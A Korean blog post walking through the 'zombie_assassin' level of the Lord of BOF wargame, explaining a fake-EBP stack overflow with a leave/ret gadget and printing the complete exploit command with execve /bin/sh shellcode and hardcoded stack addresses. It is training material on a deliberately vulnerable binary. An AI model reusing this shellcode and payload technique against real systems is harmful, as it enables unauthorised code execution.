BOF redhat 원정대 assassin -> zombie_assassin
zombie_assassin, zombie_assassin.c
코드를 보면 이전 문제에서 버퍼, SFP를 초기화 하는 부분이 없어지고 strcpy에서 strncpy로 바뀌어서 SFP, RET까지만 덮을 수 있게 바뀌었다.
전 문제와 같이 RET에는 0xbf와 0x40으로 시작하는 주소로 덮을 수 없어 스택주소와 라이브버리주소를 넣을 수 없다.
주석에 FEBP라고 힌트가 있다. 이전에 풀었던 문제중에 problem_child에서 SFP를 1바이트 수정하여 문제를 푼 적이 있다. 이와 비슷하게 해결을 할 수 있다.
먼저 A를 48개 넣고 strncpy함수 실행 후 메모리를 보고 페이로드를 작성해 보자.
r `python -c 'print "A"*48'`
48바이트만큼 A가 복사된 것을 볼 수 있다. 나는 버퍼에 24바이트 크기의 쉘코드를 넣고 공격을 할 것이다.
페이로드는
[ 버퍼 ][ SFP ][RET]
[dummy][RET][쉘코드][dummy][fakeEbp][RET]
로 구성하였다.
페이로드를 입력 하게 되면 메인함수의 leave를 거치면서 fakeEbp로 ebp가 셋팅된다. 나는 fakeEbp를 A의 맨처음인 0xbffffaa0으로 잡았다. 이렇게 되면 0xbffffaa4가 RET로 된다. RET에는 바로 뒤의 쉘코드가 들어있는 주소를 넣어서 eip가 쉘코드로 이동할 수 있도록 한다.
메인함수의 leave로 스택의 ebp가 원하는 곳으로 이동한 후에는 ret이 실행되는데 이 때 ret를 leave,ret의 가젯의 주소를 넣어주어 내가 셋팅해놓은 sfp, ret가 바로 leave, ret코드를 타도록 만든다.
이 페이로드로 공격을 실행 하면
쉘을 얻을 수 있다.
쉘코드 :
./zombie_assassin "`python -c 'print "AAAA" + "\xa8\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAAAAAA" +"\xa0\xfa\xff\xbf" + "\xbf\xbf\xbf\x90"'`"
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
$(HOME)/.gdbinit을 생성하면 gdb가 실행될 때 .gdbinit을 불러옴으로 스크립트를 적용시킬 수 있다. ARM 어셈을 처음다루어 라인바이라인으로 분석해 보기위해 몇 가지 스크립트를 작성하였다. .gdbinit ...
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
진법 변환과 데이터의 표현 - 2 진수 (binary digit) – 숫자 0 과 1 만으로 모든 수를 나타내는 방법 10 진법 2 진법 기호 0 0 ...
-
raspberry pi linux kernel compile 라즈베리파이에서 디바이스 드라이버를 작성하거나 커널을 수정하기 위해서는 라즈베리파이의 커널 소스를 참조하여 컴파일하기 때문에 라즈베리파이의 커널 소스를 다운 받아야한다. 라즈베리파이의...
0 개의 댓글:
댓글 쓰기